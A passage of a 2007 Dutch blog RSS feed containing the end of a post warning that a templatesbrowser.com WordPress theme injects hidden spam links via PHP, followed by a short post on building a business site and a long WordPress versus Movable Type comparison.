<blockquote><p>&lt;?php credits(); wp_footer(); ?&gt;</p></blockquote>
<p>Het geniepige is dat het contact met templatesbrowser.com alleen lijkt te werken vanuit een WordPress-weblog. Als ik bovenstaand webadres zelf invul in mijn browser, dan wordt er geen HTML-code teruggegeven.</p>
<p>Ook merk ik dat het uitmaakt op welk adres je weblog staat. Als ik urlencode($_SERVER['HTTP_HOST']) simpelweg vervang door www.google.com of www.startpagina.nl, dan wordt er geen verborgen link teruggegeven, maar helemaal niets, of iets onschuldigs als</p>
<blockquote><p>&lt;!&#8211; T-B &#8211;&gt;</p></blockquote>
<p>Ook zit er een random element in: als je op F5 drukt, verandert soms de code.</p>
<p><strong>Een hogere PageRank?</strong><br />
Templatesbrowser.com doet dit klaarblijkelijk om sommige sites een hogere PageRank te bezorgen. Toch lijkt het me niet waarschijnlijk dat Google erin trapt. De manier waarop de link onzichtbaar is gemaakt (style=&#8221;display: none;&#8221;) is simpelweg té doorzichtig. Maar als Google inderdaad doorheeft dat het hier linkspam betreft, dan loopt de eigenaar van de weblog het risico om hiervoor gestraft te worden. Door de aard van PHP (een server-side scriptingtaal waarvan Google alleen de uitvoer ziet, niet de bron) is niet zichtbaar dat de betreffende HTML door een heel andere site wordt gegenereerd.</p>
<p><strong>Het risico?</strong><br />
Uit het bovenstaande blijkt dat het downloaden van een WordPress-theme een zeker beveiligingsrisico inhoudt. Zoals gezegd bestaat zo&#8217;n theme niet alleen uit CSS-opmaak, maar ook uit extra PHP-code. Welke WordPress-gebruiker neemt de moeite om die meegeleverde PHP-code regel voor regel uit te vlooien alvorens een theme te installeren? PHP kan bovendien veel ernstiger dingen doen dan alleen maar een verborgen link in je site stoppen.</p>
<p>Al met al vind ik dit toch wel een belangrijk minpunt van WordPress. Voor zover ik kan nagaan, is het in Movable Type niet mogelijk om malicieuze code te stoppen in een template. Al met al lijkt de architectuur van WordPress meer op flexibiliteit gericht, minder op beveiliging.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200705/templatesbrowsercom-linkspam-wordpress.php/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Een simpele zakelijke website met WordPress</title>
		<link>http://www.laterna.nl/200704/een-simpele-zakelijke-website-met-wordpress.php</link>
		<comments>http://www.laterna.nl/200704/een-simpele-zakelijke-website-met-wordpress.php#comments</comments>
		<pubDate>Wed, 18 Apr 2007 19:46:15 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Handig]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/200704/een-simpele-zakelijke-website-met-wordpress.php</guid>
		<description><![CDATA[Na een e-mailwisseling met een opdrachtgever ben ik de laatste week aan het experimenteren geslagen met WordPress, dat ik eerder deze maand vergeleek met MovableType. Ik schreef dat je WordPress niet alleen voor weblogs kunt gebruiken, maar ook als een simpel contentmanagementsysteem voor een bescheiden zakelijke website. Is het inderdaad zo simpel, vroeg die opdrachtgever [...]]]></description>
			<content:encoded><![CDATA[<p>Na een e-mailwisseling met een opdrachtgever ben ik de laatste week aan het experimenteren geslagen met WordPress, dat ik eerder deze maand <a href="http://www.laterna.nl/200704/wordpress-vs-movabletype-de-vergelijking.php">vergeleek met MovableType</a>.</p>
<p>Ik schreef dat je WordPress niet alleen voor weblogs kunt gebruiken, maar ook als een <a href="http://www.laterna.nl/200704/wordpress-vs-movabletype-de-vergelijking.php">simpel contentmanagementsysteem</a> voor een bescheiden zakelijke website. Is het inderdaad zo simpel, vroeg die opdrachtgever zich af?</p>
<p>Mijn eerste test is te bekijken op <a href="http://www.klog.nl">www.klog.nl</a>. Het enige wat ik nog niet voor elkaar heb, is de volgorde van de statische pagina&#8217;s rechts. Waarschijnlijk zie ik hierbij iets heel simpels over het hoofd.</p>
<p>De volgende stap: een <em>theme</em> downloaden en kijken hoe deze testsite met voornamelijk statische pagina&#8217;s er dan uit komt te zien. Wordt vervolgd!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200704/een-simpele-zakelijke-website-met-wordpress.php/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress vs. Movable Type: de vergelijking</title>
		<link>http://www.laterna.nl/200704/wordpress-vs-movabletype-de-vergelijking.php</link>
		<comments>http://www.laterna.nl/200704/wordpress-vs-movabletype-de-vergelijking.php#comments</comments>
		<pubDate>Fri, 06 Apr 2007 10:06:32 +0000</pubDate>
		<dc:creator>laterna</dc:creator>
				<category><![CDATA[Commentaar]]></category>
		<category><![CDATA[Ontwikkelingen]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[Movable Type]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[open-source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[webhosting]]></category>
		<category><![CDATA[weblog]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.laterna.nl/200704/wordpress-vs-movabletype-de-vergelijking.php</guid>
		<description><![CDATA[Zoals vorige maand beloofd zal ik hier mijn eerste ervaringen posten met het weblogsysteem WordPress. Ik zal die gelijk afzetten tegen concurrent Movable Type, dat ik al vier jaar gebruik, met name voor Tweevoeter. Ga er maar even voor zitten, want dit wordt een lang verhaal. Brontaal, installatie en hosting WordPress is een standaard PHP/MySQL-toepassing. [...]]]></description>
			<content:encoded><![CDATA[<p>Zoals vorige maand <a href="http://www.laterna.nl/200703/nieuwe-website.php">beloofd</a> zal ik hier mijn eerste ervaringen posten met het weblogsysteem <a href="http://wordpress.org/">WordPress</a>. Ik zal die gelijk afzetten tegen concurrent <a href="http://www.movabletype.org/">Movable Type</a>, dat ik al vier jaar gebruik, met name voor <a href="http://www.tweevoeter.nl">Tweevoeter</a>. Ga er maar even voor zitten, want dit wordt een lang verhaal.<span id="more-109"></span></p>
<p><strong>Brontaal, installatie en hosting</strong><br />
WordPress is een standaard PHP/MySQL-toepassing. Bijna alle hostingproviders ondersteunen deze combinatie, dus installatie zal zelden een probleem vormen. De installatieprocedure is bijzonder gebruiksvriendelijk. Het enige addertje onder het gras is dat sommige bestanden (bijvoorbeeld .htaccess) en mappen (wp-content) schrijfbaar moeten zijn &#8211; anders kun je bijvoorbeeld geen themes handmatig aanpassen via de WordPress-interface.</p>
<p>Movable Type is in Perl geschreven, met andere woorden: het is een CGI-script. Ook dit wordt vrij algemeen ondersteund. Wel heb ik bij verschillende providers ervaren dat installatie soms wat meer trekken en duwen vergt, omdat de rechten op alle bestanden heel precies moeten worden ingesteld &#8211; anders krijg je een &#8216;internal server error&#8217;. Ook heb ik meer dan eens meegemaakt dat Movable Type opeens niet meer draaide na een serverupgrade door de provider. Gelukkig was dit meestal vrij snel weer opgelost.</p>
<p>Movable Type draait naar keuze ook op andere databases dan MySQL. Zelfs op helemaal geen database (hij gebruikt dan gewoon het filesysteem voor opslag), maar in één geval heb ik ervaren dat Movable Type&#8217;s eigen dataopslag niet robuust is en bijna elke maand wel een keer vastloopt. Dus elke dag een backup maken van je hele MovableType-installatie is in dit geval een must.</p>
<p>Nog een voordeel van Movable Type ten opzichte van WordPress: met één Movable Type-installatie kun je een onbeperkt aantal weblogs aanmaken en beheren. Bij WordPress kun je wel meerdere weblogs op dezelfde site opzetten, maar alleen door WordPress steeds opnieuw te installeren in verschillende submappen. Dat betekent dat als je een nieuwe WordPress-versie wilt installeren, je álle installaties stuk voor stuk moet upgraden.</p>
<p><strong>Interface</strong><br />
Dit is een kwestie van smaak. De Movable Type-interface vind ik er strakker en professioneler uitzien, maar mijn ervaring is dat die van WordPress veel intuïtiever in elkaar zit. Bij WordPress lijken alle opties gegroepeerd rond de gebruiker: wat zijn de belangrijkste dingen die hij met een weblog doet? Bij Movable Type lijkt vooral het systeem zelf met al zijn mogelijkheden centraal te staan.</p>
<p>In ieder geval hoef je bij WordPress minder te zoeken om een bepaalde optie te vinden. Bij zowel Movable Type als WordPress heb ik inmiddels ervaring met het inwerken van nieuwe gebruikers. Bij Movable Type kost dat enige tijd en training, maar bij WordPress hoef je de gebruiker bijna niets uit te leggen. Ik heb gemerkt dat zelfs kinderen van 10 jaar er in een mum van tijd mee kunnen werken, mits je wel de Nederlandse versie installeert.</p>
<p><strong>Semi-statisch vs. dynamisch: voordelen</strong><br />
Een belangrijk technisch verschil tussen WordPress en Movable Type is dat pagina&#8217;s van WordPress-weblogs dynamisch worden gegenereerd vanuit de MySQL-database. Het nadeel is echter dat een veelbezochte WordPress-weblog de MySQL-server flink kan belasten. Dat gebeurde bijvoorbeeld vorig jaar, toen Sargasso de Dutch Bloggies won en <a href="http://www.sargasso.nl/archief/2006/03/13/this-is-your-projectlijder-speaking/">de site vervolgens op tilt sloeg</a>.</p>
<p>Een bijkomend nadeel van dynamische pagina&#8217;s is gelegen in Google-advertenties. Wie Google-advertenties op zijn site heeft staan en zijn logfiles wel eens bekijkt, ziet dat pagina&#8217;s die nog niet in de Google-index staan dubbel worden opgevraagd: eerst door de bezoeker en 1 of 2 seconden later door de Google-server, want die moet de pagina even bekijken om bijpassende advertenties te genereren. Dat betekent een grotere MySQL-serverbelasting &#8211; als je site nog helemaal niet in Google zit zelfs een verdubbeling.</p>
<p>Bij Movable Type zal dit niet gauw gebeuren. Een Movable Type-site bestaat uit semi-statische pagina&#8217;s, die alleen bij updates en reacties opnieuw worden gegenereerd. Als een website duizenden bezoekers per dag trekt, blijft het aantal MySQL-queries dus toch beperkt. En zelfs als de MySQL-server tijdelijk down gaat, kan iedereen de site blijven bezoeken &#8211; alleen zal de reactiemogelijkheid dan even niet werken. Omvangrijke Nederlandse websites die Movable Type gebruiken, zijn <a href="http://www.geenstijl.nl">GeenStijl</a> en <a href="http://www.tweevoeter.nl">Tweevoeter</a>. Tweevoeter trekt zo&#8217;n 3500 bezoekers per dag, maar de serverload komt zelden boven de 0,1.</p>
<p><strong>Semi-statisch vs. dynamisch: nadelen</strong><br />
Gezien het voorgaande lijkt het erop dat een semi-statische website alleen maar voordelen biedt tegenover dynamische websites. Er zijn ook nadelen. Allereerst is het verwijderen van pagina&#8217;s uit een semi-statische site nogal omslachtig. Bij Movable Type moet je allereerst de betreffende &#8216;entry&#8217; verwijderen, vervolgens een &#8216;rebuild&#8217; doen om de héle site opnieuw te genereren, en het vervelendste van allemaal: via FTP moet je de statische pagina handmatig van de server verwijderen, om te voorkomen dat statische pagina&#8217;s en dynamische MySQL-inhoud uit de pas gaan lopen. Deze werkwijze vind ik simpelweg niet professioneel. Bij WordPress is dit alles veel simpeler: weg is weg.</p>
<p>Een ander nadeel van semi-statische sites zijn zoekacties van gebruikers. Bij WordPress maakt het qua performance niet uit of je een &#8216;gewone&#8217; pagina ziet, of een pagina met zoekresultaten. Maar bij Movable Type is het verschil enorm, zowel voor de gebruiker als de beheerder. Alleerst merkt de gebruiker dat zoekacties al behoorlijk lang kunnen duren, soms wel een halve minuut. Ik heb ooit ergens gelezen dat Movable Type de MySQL-database sequentieel (!) doorloopt en niet via indexen, dus hoe meer berichten, hoe langer het zoeken duurt. Vervolgens moeten de zoekresultaten ook nog eens &#8216;on the fly&#8217; worden opgemaakt. En als je de al eerder genoemde Google-advertenties op je site hebt staan, wordt het nog twee keer zo erg, want na elke zoekactie doet Google precies dezelfde zoekactie 1 of 2 seconden nog eens opnieuw om bijpassende advertenties te kunnen genereren.</p>
<p>Ook qua beheer heeft dit gevolgen. Movable Type heeft een onderdeel om templates te beheren, waarmee je webpagina&#8217;s naar eigen smaak kunt opmaken. Maar die templates betreffen alleen de statische pagina&#8217;s, niet de opmaak van zoekresultaten. Voor dat laatste bestaan wel aparte templates, maar die kun je alleen via FTP aanpassen, niet via de Movable Type-interface. Ook dit vind ik niet professioneel. Zelf heb ik dit opgelost door een extra weblog met de naam Systeem aan te maken en daar bij de &#8216;index templates&#8217; alle stylesheets, Javascript-bestanden, MT-zoektemplates en andere systeembestanden (.htaccess, robots.txt, MT-configuratie) onder te brengen. Kan ik toch alles beheren via mijn webbrowser &#8211; en een indirect voordeel: dan hoef ik alleen backups te maken van de MySQL-database.</p>
<p>Als je in MovableType-templates ook PHP-regels zet, krijg je met een bijkomend nadeel te maken. Bij semi-statische pagina&#8217;s is PHP-code geen enkel probleem (mits je de extensie van alle bestanden natuurlijk instelt op .php), maar in tegenstelling tot de rest van een Movable Type-site worden zoekresultaten wel dynamisch gegenereerd, en wel door een Perl-script. Eventuele PHP-regels in een zoektemplate worden niet uitgevoerd door Perl en zijn zelfs leesbaar als je de HTML-bron opvraagt. Erg onhandig en zelfs onveilig, want leesbare PHP-broncode kan hackers een indicatie geven waar belangrijke bestanden op je server staan.</p>
<p><strong>Layout: themes vs. templates</strong><br />
Zowel Movable Type als WordPress hebben de mogelijkheid om een eigen layout te maken voor je weblog. Daarnaast kun je ook kant-en-klare &#8216;themes&#8217; downloaden. Bij WordPress ligt de nadruk op het tweede, bij Movable Type op het eerste.</p>
<p>WordPress gaat vooral uit van themes, die je eventueel met een simpele editor nog iets kunt verfijnen (zoals ik heb gedaan met de layout die je nu ziet). Ook Movable Type heeft de mogelijkheid om kant-en-klare themes te gebruiken, maar die is er pas later bijgekomen. Je moet er ook een plug-in voor downloaden.</p>
<p>Bij Movable Type zijn de makers overduidelijk uitgegaan van professionele gebruikers die in staat zijn om zelf via &#8216;templates&#8217; een eigen layout van de grond af aan op te bouwen. Movable Type heeft er zelfs een eigen macrotaal voor ontwikkeld, werkelijk alles kun je ermee maken. Op dit punt zit Movable Type duidelijker beter in elkaar dan WordPress.</p>
<p>Het aanpassen van een WordPress-theme heeft wat meer weg van &#8216;hacken&#8217;: om de bijbehorende bestanden aan te passen zit je te wroeten in een niet al te doorzichtige combinatie van HTML, CSS en zelfs PHP. Ook zijn er verschillende WordPress-themes die de basisinstellingen aan hun laars lappen. In WordPress kun je bijvoorbeeld een standaard datumformaat instellen (&#8220;6 april 2007&#8243;), maar sommige themes trekken zich er niets van aan en kiezen hun eigen weergave (&#8220;April 6th, 2007&#8243;). Ook zijn de meeste WordPress-themes niet in het Nederlands vertaald &#8211; maar dat geldt ook voor Movable Type.</p>
<p>Hoe dan ook, zowel voor Movable Type als WordPress zijn honderden &#8216;themes&#8217; te vinden om je weblog een eigen opmaak te geven. Ondanks genoemde minpunten geef ik de voorkeur aan WordPress-themes: die zijn veel uitgebreider zijn en ook veel gevarieerder. Wie niet alleen maar een leesbare en functionele weblog wil hebben maar ook iets visueel aantrekkelijks, vindt bij WordPress veel meer van zijn gading. Dan maar zelf de theme in het Nederlands vertalen.</p>
<p><strong>Plug-ins</strong><br />
Ook als het gaat om plug-ins zijn WordPress en Movable Type ruimschoots voorzien. Werkelijk alles is te vinden: van comment-spamfilters tot aan mogelijkheden om anderssoortige content, bijvoorbeeld je eigen foto&#8217;s uit Flickr, weer te geven in een aparte kolom.<br />
WordPress lijkt zelfs nog iets verder te gaan, je vindt er bijvoorbeeld ook een plug-in om een simpel forum of een fotoalbum op te zetten. Ook zijn er mogelijkheden om WordPress te integreren met andere bekende toepassingen, zoals Phorum, Coppermine en Gallery.</p>
<p><strong>Licenties en open-source</strong><br />
WordPress is een echt open-source pakket. Je kunt het gratis gebruiken en er worden op grote schaal plug-ins en themes uitgewisseld.<br />
Bij Movable Type ligt het wat minder duidelijk. Weliswaar is er een grote en actieve gebruikersgroep, waardoor het pakket duidelijk open-source trekjes heeft. Maar uiteindelijk is Movable Type toch het product van een commercieel bedrijf. Je mag het alleen voor niet-commercieel gebruik gratis gebruiken, in alle andere gevallen moet je ervoor betalen.<br />
Op zich is dat slim bekeken van <a href="http://www.sixapart.com/">Six Apart</a>, de makers van Movable Type. Een grote gebruikersgroep zorgt voor veel mond-tot-mond-reclame &#8211; dat scheelt weer advertentiekosten. En al die plug-ins van gebruikers drukken de kosten op de verdere ontwikkeling van het pakket.<br />
Toch kun je je afvragen hoe lang Six Apart dit eten van twee walletjes kan volhouden. Zoals bekend is Mambo enkele jaren geleden ten onder gegaan aan een soortgelijke opzet, toen de commerciële belangen en het open-source gedachtengoed toch te ver uiteen bleken te lopen. Uiteindelijk ging de open-source tak zelfstandig verder onder de naam Joomla. Krijgen we straks van Movable Type ook een open-source afsplitsing? Afwachten maar.</p>
<p><strong>Alleen maar weblogs?</strong><br />
Met zowel WordPress als Movable Type kun je ook prima een homepage of zakelijke site maken, dus zonder weblogfunctie. WordPress vind ik daarvoor het meest geschikt. Hier wordt expliciet onderscheid gemaakt tussen het schrijven van berichten en van pagina&#8217;s. Die pagina&#8217;s kun je bovendien een hierarchische structuur geven. Het hangt echter wel af van de gekozen &#8216;theme&#8217; in hoeverre die pagina&#8217;s overzichtelijk navigeerbaar zijn. Een mooi uitklapmenu ben ik tot nu toe in nog geen enkel WordPress-theme tegengekomen. Met een mooi navigatiemenu zou WordPress denk ik het ideale instap-cms zijn en een deel van de Joomla-markt kunnen wegkapen.</p>
<p>Ook in Movable Type is het mogelijk om iets anders dan een weblog te maken, maar daar ontbreekt de hierarchische structuur &#8211; die moet je zelf simuleren door het menu met alle onderdelen van de site handmatig te onderhouden. Wel weer prettig bij Movable Type is de mogelijkheid meerdere weblogs aan te maken. De een kun je gebruiken voor nieuwsberichten, de andere voor tijdloze informatiepagina&#8217;s. Met enige kunstgrepen zijn die twee weer te integreren, zodat je bijvoorbeeld op een informatiepagina onderaan een overzichtje van relevante nieuwsberichten aantreft.</p>
<p><strong>Spam</strong><br />
Dan de vraag: hoe gaan Movable Type en WordPress om met &#8216;comment spam&#8217;? Beide pakketten hebben plug-ins om spam tegen te gaan, maar ik vind die van WordPress (de plug-in Akismet) beter functioneren. In één maand tijd heeft die bij mij nog geen enkele fout gemaakt in het onderscheiden van spam en gewone reacties.</p>
<p>De spamdetector van MT kun je instellen op een schaal van -10 (soepel) tot +10 (agressief). Bij mij geeft +1 of +2 doorgaans de beste resultaten, maar toch blijven er dingen doorheen glippen. Er is maar één mogelijkheid om spam met zekerheid tegen te gaan en dat is je weblog zo instellen dat alle reacties eerst door een beheerder moeten worden goedgekeurd. Maar dan moet je wel een vervanger zoeken als je met vakantie gaat.</p>
<p><strong>Ondersteuning</strong><br />
Ten slotte de ondersteuning. De documentatie is in beide gevallen goed te noemen. De website van Movable Type c.q. Six Apart ziet er professioneler uit, maar ik vind het altijd lastig om snel iets terug te vinden &#8211; om maar eens wat te noemen: welke tag moet je ook alweer gebruiken om alleen de tien meest recente berichten in een datumarchief te tonen? Ook op dit punt is de WordPress-site intuïtiever.<br />
Beide pakketten hebben een supportforum waar je vragen kunt stellen. Op veel vragen is al een antwoord te vinden.</p>
<p><strong>Conclusie</strong><br />
Movable Type is overduidelijk gericht op een professionele doelgroep. De configuratiemogelijkheden zijn uitgebreid, maar de leercurve is veel steiler dan bij WordPress. Door de semi-statische opzet is Movable Type vooral geschikt voor veelbezochte en gecompliceerde sites, bijvoorbeeld <a href="http://www.treehugger.com">Treehugger</a>. Het pakket kun je het beste gebruiken als je een webmaster of systeembeheerder tot je beschikking hebt. Wel heeft Movable Type een paar flinke tekortkomingen &#8211; vooral zoekopdrachten van gebruikers en het verwijderen van berichten zijn niet bijster professioneel geïmplementeerd.</p>
<p>WordPress is ideaal voor particulieren en voor professionals die heel snel resultaat willen zien. Het is gemakkelijk te installeren, gemakkelijk in gebruik en heeft een uitstekend spamfilter. Door de overvloed aan plug-ins en themes kun je in een paar uur een overtuigende weblog in elkaar zetten. Het pakket is bovendien ook geschikt voor niet-weblogs, je zou er prima een kleine site met vaste informatiepagina&#8217;s mee kunnen maken. Wat me persoonlijk trekt aan WordPress is dat de gebruikersgemeenschap veel schwung uitstraalt. Als WordPress-gebruiker krijg je echt het gevoel dat webloggen een feestje is.</p>
<p>Of ik WordPress voor deze site blijf gebruiken, is echter nog maar de vraag. De eerste ervaringen zijn wel heel positief, maar ik mis de mogelijkheid om meerdere weblogs naast elkaar te installeren. Ook zou ik meer grip willen hebben op hoe de archieven worden georganiseerd en hoe de site wordt opgenomen in Google. Maar voor enkele andere sites, met name <a href="http://www.klimaatnieuws.nl">Klimaatnieuws.nl</a>, denk ik wel dat ik met WordPress beter af ben dan met Movable Type. Welke van de twee je kiest, hangt dus vooral van de omstandigheden af.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laterna.nl/200704/wordpress-vs-movabletype-de-vergelijking.php/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
